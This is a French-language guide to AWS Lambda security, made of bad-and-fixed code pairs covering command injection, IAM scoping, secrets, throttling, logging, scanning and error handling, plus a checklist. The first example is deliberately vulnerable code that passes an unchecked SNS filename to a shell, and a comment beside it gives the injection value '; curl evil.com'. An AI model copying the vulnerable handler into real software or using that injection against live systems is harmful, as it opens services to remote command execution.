Sécurité serverless : les bases 2025 (Lambda, Functions)

# ❌ Lambda qui exécute une commande à partir d'un événement SNS sans validation
import subprocess
import json
 
def lambda_handler(event, context):
    # SNS Records array
    for record in event["Records"]:
        message = json.loads(record["Sns"]["Message"])
        # ❌ filename provient du message SNS non vérifié
        filename = message["filename"]
        # ❌ Command injection trivial si filename contient "; curl evil.com"
        subprocess.run(f"process-file {filename}", shell=True, check=True)
    return {"statusCode": 200}

# ✅ Validation stricte + appel sans shell
import subprocess
import json
import re
from pathlib import Path
 
SAFE_FILENAME = re.compile(r"^[a-zA-Z0-9_\-]{1,100}\.csv$")
ALLOWED_DIR = Path("/tmp/uploads")
 
def lambda_handler(event, context):
    for record in event["Records"]:
        try:
            message = json.loads(record["Sns"]["Message"])
            filename = message.get("filename", "")
        except (json.JSONDecodeError, KeyError) as e:
            print({"event": "invalid_sns_payload", "err": str(e)})
            continue
 
        # Validation format
        if not SAFE_FILENAME.match(filename):
            print({"event": "invalid_filename", "filename": filename})
            continue
 
        # Path traversal prevention avec resolve()
        target = (ALLOWED_DIR / filename).resolve()
        if not str(target).startswith(str(ALLOWED_DIR.resolve())):
            print({"event": "path_traversal_blocked", "filename": filename})
            continue
 
        # ✅ subprocess.run sans shell, arguments séparés
        subprocess.run(
            ["process-file", str(target)],
            check=True,
            timeout=30,
            capture_output=True,
        )
 
    return {"statusCode": 200}

# ❌ Rôle IAM par défaut trop permissif
resource "aws_iam_role" "lambda_exec" {
  name = "lambda-api-backend"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
    }]
  })
}
 
# ❌ Policy générique gigantesque
resource "aws_iam_role_policy_attachment" "lambda_full_s3" {
  role       = aws_iam_role.lambda_exec.name
  policy_arn = "arn:aws:iam::aws:policy/AmazonS3FullAccess"  # Accès à TOUS les buckets
}

# ✅ Rôle IAM par fonction
resource "aws_iam_role" "lambda_api_backend" {
  name = "lambda-api-backend-${var.env}"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
    }]
  })
}
 
# ✅ Policy inline ultra-ciblée
resource "aws_iam_role_policy" "lambda_api_backend_policy" {
  role = aws_iam_role.lambda_api_backend.id
 
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "ReadUploadsBucket"
        Effect = "Allow"
        Action = ["s3:GetObject"]
        Resource = ["${aws_s3_bucket.uploads.arn}/*"]
      },
      {
        Sid    = "WriteResultsBucket"
        Effect = "Allow"
        Action = ["s3:PutObject"]
        Resource = ["${aws_s3_bucket.results.arn}/*"]
      },
      {
        Sid    = "ReadSecretDbCreds"
        Effect = "Allow"
        Action = ["secretsmanager:GetSecretValue"]
        Resource = [aws_secretsmanager_secret.db_creds.arn]
      },
      {
        Sid    = "LogsToCloudWatch"
        Effect = "Allow"
        Action = [
          "logs:CreateLogGroup",
          "logs:CreateLogStream",
          "logs:PutLogEvents"
        ]
        Resource = ["arn:aws:logs:${var.region}:*:log-group:/aws/lambda/lambda-api-backend-${var.env}:*"]
      }
    ]
  })
}

# ✅ Pattern 2025 — AWS Parameters and Secrets Lambda Extension
# Layer officiel AWS, récupération + cache intégré avec HTTP local
import os
import json
import urllib.request
 
SECRETS_EXTENSION_URL = "http://localhost:2773/secretsmanager/get"
SESSION_TOKEN = os.environ["AWS_SESSION_TOKEN"]
 
# Cache simple avec TTL 5 min
_cache: dict = {}
_cache_ttl = 300
 
def get_secret(secret_id: str) -> dict:
    import time
    cached = _cache.get(secret_id)
    if cached and (time.time() - cached["ts"]) < _cache_ttl:
        return cached["value"]
 
    req = urllib.request.Request(
        f"{SECRETS_EXTENSION_URL}?secretId={secret_id}",
        headers={"X-Aws-Parameters-Secrets-Token": SESSION_TOKEN},
    )
    with urllib.request.urlopen(req, timeout=2) as resp:
        data = json.loads(resp.read())
    secret = json.loads(data["SecretString"])
    _cache[secret_id] = {"ts": time.time(), "value": secret}
    return secret
 
def lambda_handler(event, context):
    db_creds = get_secret("prod/api-backend/db")
    # ... utilisation du secret
    return {"statusCode": 200}

# ✅ Reserved concurrency plafonne le cout max
resource "aws_lambda_function" "api_backend" {
  function_name                  = "api-backend-${var.env}"
  reserved_concurrent_executions = 50  # Max 50 invocations simultanées
  # Au-delà, invocations throttled (erreur 429 pour synchronous)
}
 
# ✅ API Gateway throttling global
resource "aws_api_gateway_method_settings" "throttle" {
  rest_api_id = aws_api_gateway_rest_api.api.id
  stage_name  = aws_api_gateway_stage.prod.stage_name
  method_path = "*/*"
 
  settings {
    throttling_burst_limit = 100
    throttling_rate_limit  = 50  # requests/sec steady state
    logging_level          = "INFO"
    metrics_enabled        = true
  }
}
 
# ✅ CloudWatch alarm sur facturation pour détection précoce
resource "aws_cloudwatch_metric_alarm" "billing" {
  alarm_name          = "billing-alarm-${var.env}"
  comparison_operator = "GreaterThanThreshold"
  evaluation_periods  = 1
  metric_name         = "EstimatedCharges"
  namespace           = "AWS/Billing"
  period              = 21600  # 6h
  statistic           = "Maximum"
  threshold           = 5000   # USD
  alarm_actions       = [aws_sns_topic.finance_alerts.arn]
  dimensions          = { Currency = "USD" }
}

import json
import logging
import os
 
logger = logging.getLogger()
logger.setLevel(logging.INFO)
 
# ✅ Logs structurés JSON (exploitables par CloudWatch Logs Insights)
def log_event(event: str, **kwargs):
    logger.info(json.dumps({
        "event": event,
        "function": os.environ.get("AWS_LAMBDA_FUNCTION_NAME"),
        "request_id": kwargs.pop("request_id", None),
        **kwargs,
    }))
 
def lambda_handler(event, context):
    log_event(
        "lambda_invoked",
        request_id=context.aws_request_id,
        source=event.get("source", "unknown"),
    )
    try:
        result = process(event)
        log_event("lambda_success", request_id=context.aws_request_id)
        return result
    except Exception as e:
        log_event(
            "lambda_error",
            request_id=context.aws_request_id,
            error_type=type(e).__name__,
            # ❌ Pas de traceback brut en prod — fuite de structure applicative
        )
        raise

# Scan d'un répertoire Lambda avant déploiement
trivy fs --scanners vuln,secret --severity HIGH,CRITICAL ./lambda-src/
 
# Scan d'une layer Lambda (fichier zip)
unzip -q lambda-layer.zip -d /tmp/layer-extracted
trivy fs /tmp/layer-extracted
 
# Intégration CI/CD pour bloquer déploiement si CVE critique
trivy fs --severity CRITICAL --exit-code 1 ./lambda-src/

# ❌ Stack trace retourné au client = fuite structure applicative
def lambda_handler(event, context):
    try:
        return {"statusCode": 200, "body": process(event)}
    except Exception as e:
        return {
            "statusCode": 500,
            "body": json.dumps({
                "error": str(e),
                "traceback": traceback.format_exc(),  # ❌ fuite
            }),
        }
 
# ✅ Error handling propre avec correlation ID
def lambda_handler(event, context):
    try:
        return {"statusCode": 200, "body": json.dumps(process(event))}
    except ValidationError as e:
        log_event("validation_error", err=str(e), request_id=context.aws_request_id)
        return {"statusCode": 400, "body": json.dumps({"error": "invalid_input"})}
    except Exception as e:
        log_event(
            "unexpected_error",
            err_type=type(e).__name__,
            request_id=context.aws_request_id,
        )
        return {
            "statusCode": 500,
            "body": json.dumps({
                "error": "internal_error",
                "request_id": context.aws_request_id,  # Pour le support
            }),
        }

# GitHub Actions — scan Terraform Lambda
name: IaC scan
on:
  pull_request:
jobs:
  checkov:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run Checkov
        uses: bridgecrewio/checkov-action@v12
        with:
          directory: terraform/
          framework: terraform
          check: CKV_AWS_50,CKV_AWS_51,CKV_AWS_115,CKV_AWS_116,CKV_AWS_173
          # CKV_AWS_50: Lambda has DLQ
          # CKV_AWS_51: Lambda function has tracing
          # CKV_AWS_115: Lambda has reserved concurrency
          # CKV_AWS_116: Lambda has DLQ target
          # CKV_AWS_173: Lambda env vars encrypted with CMK
          soft_fail: false

Checklist serverless production-ready 2025
─────────────────────────────────────────────
[ ] Rôle IAM dédié, policy scoped à la fonction (< 30 lignes JSON)
[ ] Pas de variable d'environnement avec secret (Secrets Manager obligatoire)
[ ] Timeout < 30s pour HTTP synchrone (sauf cas justifié)
[ ] Memory explicitement définie (pas de 3008 MB par défaut)
[ ] Reserved concurrency ou provisioned concurrency définie
[ ] Dead Letter Queue configurée (SQS ou SNS)
[ ] VPC attachment si accès ressources internes (sinon pas de VPC, éviter cold start)
[ ] Tracing X-Ray activé
[ ] Logs structurés JSON + retention 30-90 jours
[ ] Tag mandatoires : env, app, team, cost-center, compliance
[ ] Scan Trivy + Checkov + IAM Access Analyzer en CI
[ ] Alarme CloudWatch Invocations + Errors + Duration + Throttles
[ ] Alarme facturation avec action automatique de throttle
[ ] Documentation runbook incident (qui contacter, quelle action)